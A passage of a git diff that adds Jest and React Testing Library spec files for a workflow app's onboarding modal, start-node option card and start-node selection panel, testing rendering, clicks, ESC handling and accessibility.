+    })
+
+    it('should pass tool config when selecting trigger with config', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const webhookButton = screen.getByTestId('select-trigger-webhook')
+      await user.click(webhookButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, { config: 'test' })
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // User Interactions - Modal Close
+  describe('User Interactions - Modal Close', () => {
+    it('should call onClose when close button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const closeButton = screen.getByTestId('modal-close-button')
+      await user.click(closeButton)
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onSelectStartNode when closing without selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const closeButton = screen.getByTestId('modal-close-button')
+      await user.click(closeButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).not.toHaveBeenCalled()
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Keyboard Event Handling
+  describe('Keyboard Event Handling', () => {
+    it('should call onClose when ESC key is pressed', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onClose when other keys are pressed', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Enter', code: 'Enter' })
+      fireEvent.keyDown(document, { key: 'Tab', code: 'Tab' })
+      fireEvent.keyDown(document, { key: 'a', code: 'KeyA' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should not call onClose when ESC is pressed but modal is hidden', () => {
+      // Arrange
+      renderComponent({ isShow: false })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should clean up event listener on unmount', () => {
+      // Arrange
+      const { unmount } = renderComponent({ isShow: true })
+
+      // Act
+      unmount()
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should update event listener when isShow changes', () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: true })
+
+      // Act - Press ESC when shown
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+
+      // Act - Hide modal and clear mock
+      mockOnClose.mockClear()
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={false} />)
+
+      // Act - Press ESC when hidden
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should handle multiple ESC key presses', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(3)
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle rapid modal show/hide toggling', async () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+
+      // Act
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} />)
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={false} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should handle selecting multiple nodes in sequence', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const { rerender } = renderComponent()
+
+      // Act - Select user input
+      await user.click(screen.getByTestId('select-user-input'))
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+
+      // Act - Re-show modal and select trigger
+      mockOnClose.mockClear()
+      mockOnSelectStartNode.mockClear()
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} />)
+
+      await user.click(screen.getByTestId('select-trigger-schedule'))
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle prop updates correctly', () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act - Update props
+      const newOnClose = jest.fn()
+      const newOnSelectStartNode = jest.fn()
+      rerender(
+        <WorkflowOnboardingModal
+          isShow={true}
+          onClose={newOnClose}
+          onSelectStartNode={newOnSelectStartNode}
+        />,
+      )
+
+      // Assert - Modal still renders with new props
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should handle onClose being called multiple times', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      await user.click(screen.getByTestId('modal-close-button'))
+      await user.click(screen.getByTestId('modal-close-button'))
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(2)
+    })
+
+    it('should maintain modal state when props change', () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act - Change onClose handler
+      const newOnClose = jest.fn()
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} onClose={newOnClose} />)
+
+      // Assert - Modal should still be visible
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have dialog role', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should have proper heading hierarchy', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const heading = container.querySelector('h3')
+      expect(heading).toBeInTheDocument()
+      expect(heading).toHaveTextContent('workflow.onboarding.title')
+    })
+
+    it('should have external link with proper attributes', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const link = screen.getByText('workflow.onboarding.learnMore').closest('a')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should have keyboard navigation support via ESC key', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should have visible ESC key hint', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      const escKey = screen.getByText('workflow.onboarding.escTip.key')
+      expect(escKey.closest('kbd')).toBeInTheDocument()
+      expect(escKey.closest('kbd')).toHaveClass('system-kbd')
+    })
+
+    it('should have descriptive text for ESC functionality', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.escTip.press')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.escTip.toDismiss')).toBeInTheDocument()
+    })
+
+    it('should have proper text color classes', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('workflow.onboarding.title')
+      expect(title).toHaveClass('text-text-primary')
+    })
+
+    it('should have underlined learn more link', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const link = screen.getByText('workflow.onboarding.learnMore').closest('a')
+      expect(link).toHaveClass('underline')
+      expect(link).toHaveClass('cursor-pointer')
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should complete full flow of selecting user input node', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Assert - Initial state
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.title')).toBeInTheDocument()
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+
+      // Act - Select user input
+      await user.click(screen.getByTestId('select-user-input'))
+
+      // Assert - Callbacks called
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should complete full flow of selecting trigger node', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Assert - Initial state
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act - Select trigger
+      await user.click(screen.getByTestId('select-trigger-webhook'))
+
+      // Assert - Callbacks called with config
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, { config: 'test' })
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should render all components in correct hierarchy', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert - Modal is the root
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Assert - Header elements
+      const heading = container.querySelector('h3')
+      expect(heading).toBeInTheDocument()
+
+      // Assert - Description with link
+      expect(screen.getByText('workflow.onboarding.learnMore').closest('a')).toBeInTheDocument()
+
+      // Assert - Selection panel
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+
+      // Assert - ESC tip
+      expect(screen.getByText('workflow.onboarding.escTip.key')).toBeInTheDocument()
+    })
+
+    it('should coordinate between keyboard and click interactions', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Click close button
+      await user.click(screen.getByTestId('modal-close-button'))
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+
+      // Act - Clear and try ESC key
+      mockOnClose.mockClear()
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx
new file mode 100644
index 0000000000..d8ef1a3149
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx
@@ -0,0 +1,348 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import StartNodeOption from './start-node-option'
+
+describe('StartNodeOption', () => {
+  const mockOnClick = jest.fn()
+  const defaultProps = {
+    icon: <div data-testid="test-icon">Icon</div>,
+    title: 'Test Title',
+    description: 'Test description for the option',
+    onClick: mockOnClick,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper function to render component
+  const renderComponent = (props = {}) => {
+    return render(<StartNodeOption {...defaultProps} {...props} />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should render icon correctly', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('test-icon')).toBeInTheDocument()
+      expect(screen.getByText('Icon')).toBeInTheDocument()
+    })
+
+    it('should render title correctly', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('Test Title')
+      expect(title).toBeInTheDocument()
+      expect(title).toHaveClass('system-md-semi-bold')
+      expect(title).toHaveClass('text-text-primary')
+    })
+
+    it('should render description correctly', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const description = screen.getByText('Test description for the option')
+      expect(description).toBeInTheDocument()
+      expect(description).toHaveClass('system-xs-regular')
+      expect(description).toHaveClass('text-text-tertiary')
+    })
+
+    it('should be rendered as a clickable card', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const card = container.querySelector('.cursor-pointer')
+      expect(card).toBeInTheDocument()
+      // Check that it has cursor-pointer class to indicate clickability
+      expect(card).toHaveClass('cursor-pointer')
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should render with subtitle when provided', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: 'Optional Subtitle' })
+
+      // Assert
+      expect(screen.getByText('Optional Subtitle')).toBeInTheDocument()
+    })
+
+    it('should not render subtitle when not provided', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const titleElement = screen.getByText('Test Title').parentElement
+      expect(titleElement).not.toHaveTextContent('Optional Subtitle')
+    })
+
+    it('should render subtitle with correct styling', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: 'Subtitle Text' })
+
+      // Assert
+      const subtitle = screen.getByText('Subtitle Text')
+      expect(subtitle).toHaveClass('system-md-regular')
+      expect(subtitle).toHaveClass('text-text-quaternary')
+    })
+
+    it('should render custom icon component', () => {
+      // Arrange
+      const customIcon = <svg data-testid="custom-svg">Custom</svg>
+
+      // Act
+      renderComponent({ icon: customIcon })
+
+      // Assert
+      expect(screen.getByTestId('custom-svg')).toBeInTheDocument()
+    })
+
+    it('should render long title correctly', () => {
+      // Arrange
+      const longTitle = 'This is a very long title that should still render correctly'
+
+      // Act
+      renderComponent({ title: longTitle })
+
+      // Assert
+      expect(screen.getByText(longTitle)).toBeInTheDocument()
+    })
+
+    it('should render long description correctly', () => {
+      // Arrange
+      const longDescription = 'This is a very long description that explains the option in great detail and should still render correctly within the component layout'
+
+      // Act
+      renderComponent({ description: longDescription })
+
+      // Assert
+      expect(screen.getByText(longDescription)).toBeInTheDocument()
+    })
+
+    it('should render with proper layout structure', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+      expect(screen.getByText('Test description for the option')).toBeInTheDocument()
+      expect(screen.getByTestId('test-icon')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call onClick when card is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await user.click(card!)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClick when icon is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const icon = screen.getByTestId('test-icon')
+      await user.click(icon)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClick when title is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const title = screen.getByText('Test Title')
+      await user.click(title)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClick when description is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const description = screen.getByText('Test description for the option')
+      await user.click(description)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle multiple rapid clicks', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await user.click(card!)
+      await user.click(card!)
+      await user.click(card!)
+
+      // Assert
+      expect(mockOnClick).toHaveBeenCalledTimes(3)
+    })
+
+    it('should not throw error if onClick is undefined', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ onClick: undefined })
+
+      // Act & Assert
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await expect(user.click(card!)).resolves.not.toThrow()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle empty string title', () => {
+      // Arrange & Act
+      renderComponent({ title: '' })
+
+      // Assert
+      const titleContainer = screen.getByText('Test description for the option').parentElement?.parentElement
+      expect(titleContainer).toBeInTheDocument()
+    })
+
+    it('should handle empty string description', () => {
+      // Arrange & Act
+      renderComponent({ description: '' })
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should handle undefined subtitle gracefully', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: undefined })
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should handle empty string subtitle', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: '' })
+
+      // Assert
+      // Empty subtitle should still render but be empty
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should handle null subtitle', () => {
+      // Arrange & Act
+      renderComponent({ subtitle: null })
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should render with subtitle containing special characters', () => {
+      // Arrange
+      const specialSubtitle = '(optional) - [Beta]'
+
+      // Act
+      renderComponent({ subtitle: specialSubtitle })
+
+      // Assert
+      expect(screen.getByText(specialSubtitle)).toBeInTheDocument()
+    })
+
+    it('should render with title and subtitle together', () => {
+      // Arrange & Act
+      const { container } = renderComponent({
+        title: 'Main Title',
+        subtitle: 'Secondary Text',
+      })
+
+      // Assert
+      expect(screen.getByText('Main Title')).toBeInTheDocument()
+      expect(screen.getByText('Secondary Text')).toBeInTheDocument()
+
+      // Both should be in the same heading element
+      const heading = container.querySelector('h3')
+      expect(heading).toHaveTextContent('Main Title')
+      expect(heading).toHaveTextContent('Secondary Text')
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have semantic heading structure', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const heading = container.querySelector('h3')
+      expect(heading).toBeInTheDocument()
+      expect(heading).toHaveTextContent('Test Title')
+    })
+
+    it('should have semantic paragraph for description', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const paragraph = container.querySelector('p')
+      expect(paragraph).toBeInTheDocument()
+      expect(paragraph).toHaveTextContent('Test description for the option')
+    })
+
+    it('should have proper cursor style for accessibility', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const card = container.querySelector('.cursor-pointer')
+      expect(card).toBeInTheDocument()
+      expect(card).toHaveClass('cursor-pointer')
+    })
+  })
+
+  // Additional Edge Cases
+  describe('Additional Edge Cases', () => {
+    it('should handle click when onClick handler is missing', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ onClick: undefined })
+
+      // Act & Assert - Should not throw error
+      const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]')
+      await expect(user.click(card!)).resolves.not.toThrow()
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx
new file mode 100644
index 0000000000..5612d4e423
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx
@@ -0,0 +1,586 @@
+import React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import StartNodeSelectionPanel from './start-node-selection-panel'
+import { BlockEnum } from '@/app/components/workflow/types'
+
+// Mock NodeSelector component
+jest.mock('@/app/components/workflow/block-selector', () => {
+  return function MockNodeSelector({
+    open,
+    onOpenChange,
+    onSelect,
+    trigger,
+  }: any) {
+    // trigger is a function that returns a React element
+    const triggerElement = typeof trigger === 'function' ? trigger() : trigger
+
+    return (
+      <div data-testid="node-selector">
+        {triggerElement}
+        {open && (
+          <div data-testid="node-selector-content">
+            <button
+              data-testid="select-schedule"
+              onClick={() => onSelect(BlockEnum.TriggerSchedule)}
+            >
+              Select Schedule
+            </button>
+            <button
+              data-testid="select-webhook"
+              onClick={() => onSelect(BlockEnum.TriggerWebhook)}
+            >
+              Select Webhook
+            </button>
+            <button
+              data-testid="close-selector"
+              onClick={() => onOpenChange(false)}
+            >
+              Close
+            </button>
+          </div>
+        )}
+      </div>
+    )
+  }
+})
+
+// Mock icons
+jest.mock('@/app/components/base/icons/src/vender/workflow', () => ({
+  Home: () => <div data-testid="home-icon">Home</div>,
+  TriggerAll: () => <div data-testid="trigger-all-icon">TriggerAll</div>,
+}))
+
+describe('StartNodeSelectionPanel', () => {
+  const mockOnSelectUserInput = jest.fn()
+  const mockOnSelectTrigger = jest.fn()
+
+  const defaultProps = {
+    onSelectUserInput: mockOnSelectUserInput,
+    onSelectTrigger: mockOnSelectTrigger,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper function to render component
+  const renderComponent = (props = {}) => {
+    return render(<StartNodeSelectionPanel {...defaultProps} {...props} />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+    })
+
+    it('should render user input option', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.userInputDescription')).toBeInTheDocument()
+      expect(screen.getByTestId('home-icon')).toBeInTheDocument()
+    })
+
+    it('should render trigger option', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.triggerDescription')).toBeInTheDocument()
+      expect(screen.getByTestId('trigger-all-icon')).toBeInTheDocument()
+    })
+
+    it('should render node selector component', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('node-selector')).toBeInTheDocument()
+    })
+
+    it('should have correct grid layout', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const grid = container.querySelector('.grid')
+      expect(grid).toBeInTheDocument()
+      expect(grid).toHaveClass('grid-cols-2')
+      expect(grid).toHaveClass('gap-4')
+    })
+
+    it('should not show trigger selector initially', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should accept onSelectUserInput prop', () => {
+      // Arrange
+      const customHandler = jest.fn()
+
+      // Act
+      renderComponent({ onSelectUserInput: customHandler })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+    })
+
+    it('should accept onSelectTrigger prop', () => {
+      // Arrange
+      const customHandler = jest.fn()
+
+      // Act
+      renderComponent({ onSelectTrigger: customHandler })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+    })
+
+    it('should handle missing onSelectUserInput gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onSelectUserInput: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument()
+    })
+
+    it('should handle missing onSelectTrigger gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onSelectTrigger: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions - User Input Option
+  describe('User Interactions - User Input', () => {
+    it('should call onSelectUserInput when user input option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onSelectTrigger when user input option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+    })
+
+    it('should handle multiple clicks on user input option', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+      await user.click(userInputOption)
+      await user.click(userInputOption)
+
+      // Assert
+      expect(mockOnSelectUserInput).toHaveBeenCalledTimes(3)
+    })
+  })
+
+  // User Interactions - Trigger Option
+  describe('User Interactions - Trigger', () => {
+    it('should show trigger selector when trigger option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+    })
+
+    it('should not call onSelectTrigger immediately when trigger option is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert
+      expect(mockOnSelectTrigger).not.toHaveBeenCalled()
+    })
+
+    it('should call onSelectTrigger when a trigger is selected from selector', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select a trigger
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectTrigger).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined)
+    })
+
+    it('should call onSelectTrigger with correct node type for webhook', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select webhook trigger
+      await waitFor(() => {
+        expect(screen.getByTestId('select-webhook')).toBeInTheDocument()
+      })
+      const webhookButton = screen.getByTestId('select-webhook')
+      await user.click(webhookButton)
+
+      // Assert
+      expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectTrigger).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, undefined)
+    })
+
+    it('should hide trigger selector after selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select a trigger
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert - Selector should be hidden
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should pass tool config parameter through onSelectTrigger', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open trigger selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Act - Select a trigger (our mock doesn't pass toolConfig, but real NodeSelector would)
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
+      // Assert - Verify handler was called
+      // In real usage, NodeSelector would pass toolConfig as second parameter
+      expect(mockOnSelectTrigger).toHaveBeenCalled()
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should toggle trigger selector visibility', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Assert - Initially hidden
+      expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+
+      // Act - Show selector
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      // Assert - Now visible
+      await waitFor(() => {
+        expect(screen.getByTestId('node-selector-content')).toBeInTheDocument()
+      })
+
+      // Act - Close selector
+      const closeButton = screen.getByTestId('close-selector')
+      await user.click(closeButton)
+
+      // Assert - Hidden again
+      await waitFor(() => {
+        expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should maintain state across user input selections', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Click user input multiple times
+      const userInputOption = screen.getByText('workflow.onboarding.userInputFull')
+      await user.click(userInputOption)
+      await user.click(userInputOption)
+
+      // Assert - Trigger selector should remain hidden
+      expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument()
+    })
+
+    it('should reset trigger selector visibility after selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Open and select trigger
+      const triggerOption = screen.getByText('workflow.onboarding.trigger')
+      await user.click(triggerOption)
+
+      await waitFor(() => {
+        expect(screen.getByTestId('select-schedule')).toBeInTheDocument()
+      })
+      const scheduleButton = screen.getByTestId('select-schedule')
+      await user.click(scheduleButton)
+
